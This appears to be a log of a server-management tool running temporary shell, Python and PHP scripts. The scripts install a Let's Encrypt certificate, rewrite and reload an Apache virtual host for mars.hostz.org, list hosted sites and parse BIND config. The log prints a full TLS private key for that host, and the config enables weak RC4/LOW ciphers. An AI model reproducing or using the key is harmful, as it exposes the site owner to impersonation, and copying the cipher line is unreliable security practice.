YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-16 06:00:30: 

chmod 755 /tmp/pkp173314; /tmp/pkp173314; rm /tmp/pkp173314

2026-02-16 06:00:30: 


dir=/etc/ssl/certs


2026-02-16 06:00:31: 

PUT: /tmp/pkp202996

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-16 06:00:31: 

chmod 755 /tmp/pkp202996; /tmp/pkp202996; rm /tmp/pkp202996

2026-02-16 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-16 06:00:31: 

PUT: /tmp/pkp751664

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=000-hostz_mars_org.conf
TARGET=/etc/apache2/sites-enabled/000-hostz_mars_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/000-hostz_mars_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/000-hostz_mars_org.conf)= /etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/000-hostz_mars_org.conf= 1'
fi


2026-02-16 06:00:31: 

chmod 755 /tmp/pkp751664; /tmp/pkp751664; rm /tmp/pkp751664

2026-02-16 06:00:31: 




2026-02-16 06:00:31: 

PUT: /tmp/pkp429443

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-16 06:00:31: 

chmod 755 /tmp/pkp429443; /tmp/pkp429443; rm /tmp/pkp429443

2026-02-16 06:00:31: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-16 06:00:31: Establishing a connection
2026-02-16 06:00:31: 

PUT: /tmp/pkp599110

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-16 06:00:31: 

chmod 755 /tmp/pkp599110; /tmp/pkp599110; rm /tmp/pkp599110

2026-02-16 06:00:31: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-16 06:00:31: 

PUT: /tmp/pkp664989

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/000-hostz_mars_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-16 06:00:31: 

chmod 755 /tmp/pkp664989; /tmp/pkp664989; rm /tmp/pkp664989

2026-02-16 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf	1374

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/hostz/mars_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-16 06:00:31: 

PUT: /tmp/pkp165542

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-16 06:00:31: 

chmod 755 /tmp/pkp165542; /tmp/pkp165542; rm /tmp/pkp165542

2026-02-16 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5329
cc:41:67:34:19:26:df:67:80:6d:73:29:80:c5:c6:63

-----BEGIN CERTIFICATE-----
MIIE7jCCA9agAwIBAgISBnkGUslozB6rFYFcTo9FDTX5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE2MDUwMTU5WhcNMjYwNTE3MDUwMTU4WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANsdZOHWlUzEjQ1MgH5zRFnODOqfquIdJJ3OyoWlJ0PavTpV8hMUTAr8pr950D/t
vx4gQt63OWv/ePVytKX0tNj30obF+HdyVsYOzapuV2+DGlK1zIX27zzWPrUzcXRj
hE7T7gyiwrXcyTdtOgheshuplrxef2A+I7TovE/lzLP2uLnaOBQV/N4AZMZUS8Tl
x0G6f16LjA5uoEFofJT6nVelgviO6YzQsOsTQ5X5X0seWlcf3bSdN4ty8i/K6C2h
PdexB786uOh8r9XWFkHpza0gLeweoYtrZJKtXG/fghrkwiZ7F2no4iK5ObVG5oTY
zL4NToKEEo69XSJfLD78ruECAwEAAaOCAhQwggIQMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQTd3Vw
CO69M7o+WhmctIHBjHc2gDAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDm1hcnMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABaDLavwqSUPD/A6pUX/
yL/II9CHS/YEKSf45x8zE/X6AAABnGUJO34AAAQDAEYwRAIgMDcSCo6GvPknq+zb
pbNZoX1286KwqNeMRw51fA3NRSACIAkvvzrlbFSmiklTs0s8Ip+/R7FbMC7SaS3u
DFXr4IOzAHYADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGcZQk7
hQAABAMARzBFAiEAgYUr/MXyYZ1ymj+Jch+Df2MpqwdoJy0K6bT1aSvFvdQCICPv
3TrlGsVQfA2MTywLBEGRWMw4xy9ndcoQn039HuiLMA0GCSqGSIb3DQEBCwUAA4IB
AQBVKX4IZfbeukDGmX6IJweb5qDvmQWAjZlWSJi1+LnhdBnLuFjP0NB+nqbKpjF1
kacTREEoPyrDUCw4IIOcFIpvIPbPJdxEBMFXliO05imMcQ2kITGb7DouZ834g3B8
FE+kQAKXa1S7GOBpnZd8O0x9qH571z/JoInX6Ouhf96syiDpOUvTjT8rle8nCmW8
2i1aPkIZHrW+CRWveQ5MCbEbZ01GikXMJrQlmcHWtv22Tq9Ra/5KjEMRiHSktQdH
At6RudnTO66TKDqD6eT+eVRoxrMnUKQHR3bLrYUucDgCBDJO6hiUkuZCg2zNfpMV
c5aOars0c9fG3iBoFinL9CaH
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbHWTh1pVMxI0N
TIB+c0RZzgzqn6riHSSdzsqFpSdD2r06VfITFEwK/Ka/edA/7b8eIELetzlr/3j1
crSl9LTY99KGxfh3clbGDs2qbldvgxpStcyF9u881j61M3F0Y4RO0+4MosK13Mk3
bToIXrIbqZa8Xn9gPiO06LxP5cyz9ri52jgUFfzeAGTGVEvE5cdBun9ei4wObqBB
aHyU+p1XpYL4jumM0LDrE0OV+V9LHlpXH920nTeLcvIvyugtoT3XsQe/OrjofK/V
1hZB6c2tIC3sHqGLa2SSrVxv34Ia5MImexdp6OIiuTm1RuaE2My+DU6ChBKOvV0i
Xyw+/K7hAgMBAAECggEAAnVNtq/o3GPfHj1Turdx1p0WbYJtkRxZFxElGgM8kckQ
MumYbejeIohrmX3VHYZ+DKk5ftSo5wKGeaB4EN2SMtXy7XKmozZr7Uxot8cFoZlj
r/ZcrUsUK4dOzEsftHnSV+0OQGOKEi7ALihCTKo9TsykBYh83thLn8G1rSLLnWA7
pu1pQGdxN8Jj7yTfcEiFXUB/ZHNC9uWQkD5oDDf5W3FYSpZDAoCifFgW2GW/vy2E
Qcj0lVaTVg+SmX1YLyCsvH6JBHEQfzc0ilhCjKWtAvaoX4ehcYqNJEc99enEW2d3
lOUI+YlNB/Y+n3LWyVcQaQ7lUX14TQ+HER+qPPn68QKBgQD7dYBA3/UBHNAdQ0Aa
iImaiDw4GxU2gQiAF8Rj4zxaaAsvx061qQfpKMwUJhH1dVayR+4rJWK+CclbhP7/
frnsD4r1g3J5P2fD5UysnqYVxx3BT7IDtVnQdipkG4L5IEWXeCSrRm08co6/rpn1
51gSVhGtqBIjmthfg9ajD3XwqQKBgQDfEl2PKXEcELXTjkmyRP3adXjU0TSOxeGR
0sfFQu1Tly57QcVZI+Ll4kjcOf15AaViJOGpZ5FI+Y4zU68JVbs8IsFbGTJg0HFc
jwdRH5LfzcCAN8x2bpLdM5567i2cVJnGXbFuHaRcZEDnosLLH5m1wA2aRxBtrg6N
zO9MHiDXeQKBgDtUewFTljQ//x6YanyYMJdkg4jdYwDsKvxGH1FOIURXfiQ0y25z
RmmN9bDfVqdqmx0PebN2a7jZCEhutdfEp8t501igPhc7jZkb9h5YhGlpBK1Cx4a2
eE2GQ/RAxYNQSPs3HrfGsylrAiFZ6fuqLQ6OfjdSC42ZEGpg6fipQjOZAoGABZJq
3dmWJrJQKGGke5x3js5iX0Z+fpZ4xPCz5rx+OxlKou+Io2pfD4jwcvfL2grte58a
N+YLXfxFzghoFd6bV6wykjj15i8utbYo46DbRVXZWhqKs+adKoNQkReD8iS21pqe
hPaelWQ3rtGE9hfq+fw7GsBtq5+uY2JcE9Wo0lkCgYEAjRNE74pt/Yfk3jraSEuq
B+w66W1251TS40ktTXpuR5l/Cryvr3yOwBY2Z5PuXX3iVvu6OVq8yiiZ7cgB9ed7
oKAzDJEso0NUQCz3yh5eK6uk/9Me/duYbGlr54wzT0PVRPfz/nggJKD3BBlnmZ35
0Syt9EjAO9S+Zu4RJJ6FAoc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-16 11:25:40: Establishing a connection
2026-02-16 11:25:51: Establishing a connection
2026-02-16 11:25:51: 

PUT: /tmp/pkp723368

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-16 11:25:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp723368; rm /tmp/pkp723368'

